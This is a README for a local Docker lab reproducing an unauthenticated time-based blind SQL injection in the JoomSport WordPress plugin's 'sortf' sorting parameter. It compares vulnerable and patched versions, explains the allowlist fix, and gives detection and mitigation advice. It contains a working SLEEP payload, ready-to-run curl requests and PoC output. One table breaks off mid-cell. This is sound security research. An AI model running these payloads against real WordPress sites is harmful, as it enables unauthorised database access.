## https://sploitus.com/exploit?id=FD4AA5D0-761A-574B-BE76-55A50B193227
# CVE-2026-42647 - JoomSport Unauthenticated Time-Based Blind SQL Injection via `sortf`
## Executive Summary
This repository contains a local Docker lab for reproducing and validating CVE-2026-42647, an unauthenticated SQL injection vulnerability affecting the WordPress plugin JoomSport - for Sports: Team & League, Football, Hockey & more.
The vulnerable behavior occurs in the player list sorting feature. A public visitor can control the `sortf` query parameter, which is used to build an SQL `ORDER BY` clause. In vulnerable versions, the value is sanitized as text and wrapped in backticks, but it is not validated against a strict allowlist before being appended to the SQL query.
This lab compares two JoomSport versions:
| Service | JoomSport version | Purpose | URL |
| --------- | ----------------: | ---------------------------- | ----------------------- |
| `vuln` | 5.7.6 | Vulnerable comparison target | `http://localhost:8081` |
| `patched` | 5.7.8 | Patched comparison target | `http://localhost:8082` |
The public advisories identify versions before 5.7.8 as affected and 5.7.8 as the fixed version. This lab uses 5.7.6 as the vulnerable target because a 5.7.7 source tag was not available in the WordPress.org plugin SVN tag listing at the time this lab was prepared.
The demonstrated vulnerability chain is:
```text
Unauthenticated visitor
โ JoomSport season player list route
โ attacker-controlled sortf parameter
โ unsafe dynamic ORDER BY construction
โ SQL expression execution
โ measurable database delay in vulnerable version
โ patched version rejects the injected sort field and falls back to a safe allowlisted field
```
This lab validates the vulnerability as a time-based blind SQL injection. It does not perform database dumping, credential extraction, data modification, or destructive SQL operations.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport before 5.7.8 is reported vulnerable to unauthenticated SQL injection. | Public advisories identify JoomSport `
```
The security issue is that the application treats a user-controlled request parameter as a SQL identifier/expression without first validating it against a strict allowlist.
## Source Patch Summary
The relevant patch is in:
```text
sportleague/classes/objects/class-jsport-playerlist.php
```
In the vulnerable version, the player list code builds `$options['ordering']` directly from the request value:
```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
}
```
The vulnerable part is that `classJsportRequest::get('sortf')` is used inside the SQL ordering expression.
JoomSport 5.7.8 changes this behavior by introducing a validated sort-field variable before building `$options['ordering']`.
The patched version initializes a safe default:
```php
$sortFieldEsc = 'post_title';
```
It then defines allowed static sort columns:
```php
$sortCols = array("played", "career_minutes", "post_title");
```
When `sortf` is present, the patched code only accepts it if it matches one of the expected static values:
```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
```
The patch also allows expected dynamic event/stat field formats:
```php
if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
```
The final security-relevant change is that `$options['ordering']` is built from `$sortFieldEsc` instead of the raw `sortf` request value:
```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
```
This does not remove dynamic sorting. It changes the trust boundary.
Before the patch:
```text
request sortf value directly controlled the ORDER BY identifier
```
After the patch:
```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
```
If the attacker sends an unexpected value such as:
```text
post_title`DESC,(SLEEP(2))#
```
the patched code does not assign that value to `$sortFieldEsc`.
Instead, the sort field falls back to:
```text
post_title
```
This is why the vulnerable service delays, while the patched service stays near baseline timing.
The security lesson from the patch is:
```text
Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists.
Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
```
## Lab Architecture
The lab runs two isolated WordPress installations through Docker Compose.
```text
.
โโโ docker-compose.yml
โโโ vuln/
โ โโโ Dockerfile
โโโ patched/
โ โโโ Dockerfile
โโโ scripts/
โ โโโ init-wordpress.sh
โโโ poc/
โ โโโ poc.py
โโโ README.md
โโโ .gitignore
```
The two WordPress services run separate databases and separate plugin versions:
| Service | Component | Version / Role |
| --------------- | --------------------- | ---------------------------------------------- |
| `vuln` | WordPress + JoomSport | JoomSport 5.7.6 |
| `patched` | WordPress + JoomSport | JoomSport 5.7.8 |
| `db-vuln` | MariaDB | database for vulnerable target |
| `db-patched` | MariaDB | database for patched target |
| `setup-vuln` | WP-CLI init service | installs WordPress and seeds vulnerable target |
| `setup-patched` | WP-CLI init service | installs WordPress and seeds patched target |
Default exposed services:
```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
```
The setup process creates minimal JoomSport data required to render the player list route:
```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
```
The vulnerable and patched services use the same lab data shape so that the timing behavior can be compared fairly.
## Requirements
* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Python `requests` package for running the PoC from the host
* Internet access during Docker image build to fetch WordPress/JoomSport dependencies
Install the Python dependency on the host if needed:
```bash
python3 -m pip install requests
```
## Quick Start
Start the lab:
```bash
docker compose down -v --remove-orphans
docker compose up -d --build
```
Watch the setup containers:
```bash
docker compose logs -f setup-vuln setup-patched
```
Expected setup completion messages:
```text
[VULN] setup complete
[PATCHED] setup complete
```
Check container status:
```bash
docker compose ps
```
Expected exposed services:
```text
http://localhost:8081
http://localhost:8082
```
Run the PoC against the vulnerable target:
```bash
python3 poc/poc.py http://localhost:8081
```
Run the PoC against the patched target:
```bash
python3 poc/poc.py http://localhost:8082
```
Run the PoC against both targets in one command:
```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
```
For more stable timing statistics, increase the number of rounds:
```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
```
You can also adjust the requested sleep time:
```bash
python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
```
## PoC Usage
The PoC checks each target independently.
It no longer requires separate `--vuln-url` or `--patched-url` options. Instead, pass one or more target URLs as positional arguments:
```bash
python3 poc/poc.py [target_url...]
```
Examples:
```bash
python3 poc/poc.py http://localhost:8081
python3 poc/poc.py http://localhost:8082
python3 poc/poc.py http://localhost:8081 http://localhost:8082
```
If no target URL is supplied, the script prompts for one or more local target URLs interactively.
Supported options:
```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
```
The PoC is intentionally local-scope. It accepts localhost-style targets such as:
```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
The PoC refuses non-local targets by default.
## How the PoC Decides
For each target, the PoC performs two timing series:
```text
[1/2] Baseline timing
[2/2] Injected timing
```
The baseline request uses a normal sort field:
```text
sortf=post_title
```
The injected request uses a local-only timing payload in the `sortf` parameter:
```text
sortf=post_title`DESC,(SLEEP(2))#
```
The PoC calculates:
```text
delta = injected median - baseline median
```
Then it classifies the target:
| Verdict | Meaning |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | The injected request is significantly slower than baseline. |
| `PATCHED-LIKE` | The injected request stays near baseline. |
| `UNREACHABLE` | The target could not be reached. |
| `INCONCLUSIVE` | Some timing data was missing or incomplete. |
Default decision rule:
```text
injected median - baseline median >= 60% of requested SLEEP()
```
For the default `--sleep 2`, the threshold is:
```text
1.200s median delta
```
This means a target is only reported as `VULNERABLE-LIKE` when the injected request is clearly slower than its own baseline.
Unreachable or inconclusive targets are not counted as patched.
## Manual HTTP Reproduction with curl
You can reproduce the validation manually without using the Python PoC.
Vulnerable baseline request:
```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
```
Vulnerable injected request:
```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
```
Patched baseline request:
```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
```
Patched injected request:
```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
```
Expected comparison:
```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
```
## Expected Output
### Vulnerable Target
Command:
```bash
python3 poc/poc.py http://localhost:8081
```
Expected vulnerable signal:
```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
```
Final vulnerable summary:
```text
Final summary
================================================================================================
Target Base med Inj med Delta Ratio Verdict
------------------------------------------------------------------------------------------------
http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE
------------------------------------------------------------------------------------------------
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets : 0
UNREACHABLE targets : 0
INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
```
### Patched Target
Command:
```bash
python3 poc/poc.py http://localhost:8082
```
Expected patched signal:
```text
Target decision
------------------------------------------------------------------------------------------------
Baseline median : around normal baseline timing
Injected median : around normal baseline timing
Delta : below threshold
Ratio : near 1.0x
Threshold : 1.200s
Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
```
### Multiple Targets
Command:
```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
```
Expected result:
```text
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets : 1
UNREACHABLE targets : 0
INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
```
### Unreachable Target
If a target is not running, the PoC should report `UNREACHABLE`, not `PATCHED-LIKE`.
Example:
```bash
python3 poc/poc.py http://localhost:8083
```
Expected decision:
```text
Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
```
Unreachable targets are not counted as patched.
## How the PoC Works
The PoC probes the JoomSport player list route for a seeded season post.
The target route is equivalent to:
```text
GET /?post_type=joomsport_season&p=&action=playerlist&sortf=&sortd=ASC
```
The baseline request uses:
```text
sortf=post_title
```
This should produce normal player list sorting.
The injected request uses:
```text
sortf=post_title`DESC,(SLEEP(2))#
```
The vulnerable code wraps `sortf` in backticks and appends a sort direction. The injected value is designed to break out of the intended identifier context and introduce a timing expression into the `ORDER BY` clause.
Conceptually, the vulnerable SQL fragment becomes similar to:
```sql
ORDER BY `post_title` DESC, (SLEEP(2))
```
The `#` comment marker prevents the trailing backtick and direction from interfering with the injected expression.
This is not a stacked query payload. It does not inject:
```sql
; SELECT SLEEP(2);
```
Instead, it injects an SQL expression inside the existing `ORDER BY` context.
The patched version does not execute the injected expression because the `sortf` value is checked against allowed sort fields and falls back to `post_title` when the value is unexpected.
## Impact
This lab demonstrates an unauthenticated time-based blind SQL injection in the JoomSport player list `sortf` parameter.
The vulnerable version executes an injected SQL timing expression through the `ORDER BY` clause, producing a clear response delay. The patched version does not delay because the injected sort field is rejected and replaced with a safe allowlisted value.
The lab proves timing-based SQL execution only. It does not demonstrate data extraction, data modification, authentication bypass, privilege escalation, or remote code execution.
## Detection and Monitoring
Potential indicators include direct requests to JoomSport player list routes with unusual `sortf` values.
Example suspicious request pattern:
```text
GET /?post_type=joomsport_season&p=&action=playerlist&sortf=&sortd=ASC
```
Suspicious `sortf` characteristics:
```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
```
Example local lab request:
```text
sortf=post_title`DESC,(SLEEP(2))#
```
Expected vulnerable signal:
```text
HTTP 200 response with significant timing delay
```
Expected patched signal:
```text
HTTP 200 response without significant timing delay
```
Potential production monitoring ideas:
* Review web access logs for unusual `sortf` values.
* Alert on SQL keywords or comment markers inside sorting parameters.
* Monitor repeated requests to JoomSport player list routes with small parameter changes.
* Monitor slow database queries involving JoomSport player list tables.
* Correlate slow requests with public unauthenticated traffic.
* Review whether JoomSport is installed and whether its version is older than 5.7.8.
## Mitigation and Patch Notes
Upgrade JoomSport to 5.7.8 or later.
The fixed version constrains the `sortf` parameter to expected sort fields and dynamic field patterns. Unexpected values fall back to a safe default sort field.
Application-level mitigation guidance:
* Upgrade the JoomSport plugin.
* Do not expose outdated plugin versions on public WordPress sites.
* Review web logs for suspicious `sortf` parameters.
* Disable or restrict affected functionality only as a temporary mitigation if immediate upgrade is not possible.
* Use a Web Application Firewall rule as a temporary layer, not as a replacement for patching.
* Treat dynamic SQL identifiers differently from normal values: use allowlists for column names, table names, sort directions, and similar SQL syntax components.
The most important control is the allowlist. Escaping alone is not a complete fix for dynamic SQL identifiers.
## Useful Verification Commands
Check running containers:
```bash
docker compose ps
```
Watch setup logs:
```bash
docker compose logs -f setup-vuln setup-patched
```
Check WordPress services:
```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
```
Run the PoC against the vulnerable service:
```bash
python3 poc/poc.py http://localhost:8081
```
Run the PoC against the patched service:
```bash
python3 poc/poc.py http://localhost:8082
```
Run the PoC against both services:
```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
```
Run the PoC with more rounds:
```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
```
Save evidence:
```bash
mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 \
| tee evidence/timing-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
> evidence/docker-compose-logs.txt
```
Check plugin versions inside WordPress:
```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
```
Inspect vulnerable source:
```bash
docker compose exec -T vuln sh -lc \
"grep -R \"sortf\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
```
Inspect patched source:
```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
```
Inspect SQL sink:
```bash
docker compose exec -T vuln sh -lc \
"grep -R \"ORDER BY\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
```
## Cleanup
Stop and remove containers and networks:
```bash
docker compose down --remove-orphans
```
Remove containers, networks, and volumes:
```bash
docker compose down -v --remove-orphans
```
Remove evidence files if created:
```bash
rm -rf evidence/
```
## Safety Boundaries
This lab is for local security research and controlled demonstration only.
Do not run the PoC or payloads against systems you do not own or do not have explicit permission to test.
Do not use real credentials, production secrets, or external targets in this lab.
The PoC is intentionally scoped to local Docker services such as:
```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
The PoC does not include payloads for database dumping, credential theft, data modification, persistence, lateral movement, or external callbacks.
The goal is to demonstrate one specific technical condition in a controlled environment:
```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
```
## References
* Wordfence Advisory: JoomSport <= 5.7.7 - Unauthenticated SQL Injection via `sortf` Parameter
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
* Wordfence Advisory: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - Unauthenticated SQL Injection
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
* WPScan Plugin Vulnerability Database: JoomSport
https://wpscan.com/plugin/joomsport-sports-league-results-management/
* WordPress.org Plugin: JoomSport - for Sports: Team & League, Football, Hockey & more
https://wordpress.org/plugins/joomsport-sports-league-results-management/
* WordPress.org Plugin SVN
https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
* WordPress.org Plugin SVN Tags
https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
* OWASP Web Security Testing Guide: Testing for SQL Injection
https://owasp.org/www-project-web-security-testing-guide/
* OWASP Cheat Sheet Series: SQL Injection Prevention
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html